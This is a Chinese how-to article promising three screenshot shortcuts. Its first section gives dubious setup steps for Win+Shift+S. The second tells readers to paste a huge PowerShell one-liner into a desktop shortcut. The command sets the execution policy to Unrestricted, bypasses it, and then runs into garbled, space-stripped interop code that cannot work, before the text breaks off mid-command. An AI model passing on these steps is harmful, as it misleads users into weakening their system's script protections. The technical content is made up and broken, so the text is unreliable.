电脑截屏技巧（掌握电脑截屏的三个关键键）

在如今信息爆炸的时代，我们经常需要将电脑上的内容截图保存或分享给他人。而要快速进行截屏，掌握电脑截屏的三个关键键是必不可少的。本文将详细介绍这三个关键键的设置方法及其功能，帮助大家轻松实现高效截屏。

一、设置快捷键：Win+Shift+S

设置步骤：点击桌面右下角的通知图标，选择"截取工具"，在弹出的菜单中选择"选项"，在快捷方式下方的文本框中输入快捷键组合Win+Shift+S，并点击保存。

该功能的通过按下Win+Shift+S这一组合键，可以打开系统自带的截取工具，并进入截取模式。用户可以根据需要选择矩形、自由形状或全屏进行截取，然后将所截图像直接复制到剪贴板中，并可以粘贴到任何地方进行使用。

二、设置快捷键：Alt+PrintScreen

设置步骤：在桌面上任意位置点击右键，选择"快捷方式"，在"目标"文本框中输入命令"cmd.exe/c"cd/d%userprofile%\Desktop&&mkdirScreenshots&&cdScreenshots&&Set-ExecutionPolicy-ScopeCurrentUserUnrestricted&&PowerShell-NoProfile-ExecutionPolicyBypass-Command"&{$h=[System.Runtime.InteropServices.HandleRef]::Empty;Add-Type-MemberDefinition'[DllImport(\"user32.dll\")]publicstaticexternboolPrintWindow(IntPtrhwnd,IntPtrhdcBlt,uintnFlags);'-NameNativeMethods-NamespaceWin32;$a=Get-Process|Out-GridView-PassThru;Add-Type-TypeDefinition'publicclassPlatformInvokeGDI32{[DllImport(\"gdi32.dll\")]publicstaticexternIntPtrCreateCompatibleDC(IntPtrhdc);[DllImport(\"gdi32.dll\")]publicstaticexternboolDeleteDC(IntPtrhdc);[DllImport(\"gdi32.dll\")]publicstaticexternIntPtrCreateCompatibleBitmap(IntPtrhdc,intnWidth,intnHeight);[DllImport(\"gdi32.dll\")]publicstaticexternboolDeleteObject(IntPtrhObject);[DllImport(\"gdi32.dll\")]publicstaticexternIntPtrSelectObject(IntPtrhdc,IntPtrhObject);[DllImport(\"gdi32.dll\")]publicstaticexternboolBitBlt(IntPtrhObject,intnXDest,intnYDest,intnWidth,intnHeight,IntPtrhObjectSource,intnXSrc,intnYSrc,uintdwRop);};$p=$a.Id;$c=$a.MainWindowHandle;$r=$a.MainWindowHandle.ToInt64();$dc=[Win32.NativeMethods]::CreateCompatibleDC([IntPtr]::Zero);$bmp=[Win32.NativeMethods]::CreateCompatibleBitmap([IntPtr]::Zero,(($(Get-SystemMetrics-m0)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Width)))-2),(($(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height)))-2));$obmp=[Win32.NativeMethods]::SelectObject($dc,$bmp);$ri=[Win32.NativeMethods]::PrintWindow($c,$dc,0);$bits=[Byte[]]::new((([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)*4);$b=[Runtime.InteropServices.Marshal]::AllocHGlobal((([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)*4);$result=[Win32.NativeMethods]::BitBlt($dc,0,0,($(Get-SystemMetrics-m0)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Width)))-2,($(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height)))-2,$dc,0,0,13369376);[Win32.NativeMethods]::BitBlt($dc,0,0,($(Get-SystemMetrics-m0)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Width)))-2,($(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height)))-2,$dc,0,0,13369376);$bmp_data=$bmp.LockBits([System.Drawing.Rectangle]::FromLTRB(0,0,($(Get-SystemMetrics-m0)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Width)))-2,($(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height)))-2),([System.Drawing.Imaging.ImageLockMode]::ReadOnly),([System.Drawing.Imaging.PixelFormat]::Format32bppArgb));[Runtime.InteropServices.Marshal]::Copy($bmp_data.Scan0,$b,([Math]::Abs($bmp_data.Stride)*$(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height))),0);[Win32.NativeMethods]::BitBlt($dc,0,0,($(Get-SystemMetrics-m0)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Width)))-2,($(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height)))-2,$dc,0,0,13369376);[Win32.NativeMethods]::BitBlt($dc,0,0,($(Get-SystemMetrics-m0)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Width)))-2,($(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height)))-2,$dc,0,0,13369376);$bmp.UnlockBits($bmp_data);[Runtime.InteropServices.Marshal]::Copy($b,$bits,([Math]::Abs($bmp_data.Stride)*$(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height))),0);[Win32.NativeMethods]::SelectObject($dc,$obmp);[Win32.NativeMethods]::DeleteDC($dc);[Win32.NativeMethods]::DeleteObject($bmp);[Runtime.InteropServices.Marshal]::FreeHGlobal($b);$x=$(Get-Random);$bits|%{$x++;if($x%10-eq0){Write-Host\"\"};if(($_-eq\"32\"-or$_-eq\"64\")-and($x%10-eq0)){Write-Host$_-NoNewLine}else{if($x%10-eq0){Write-Host\"**\"-NoNewLine}else{Write-Host$_-NoNewLine}};};$bits|%{$x++;if($x%10-eq0){Writ
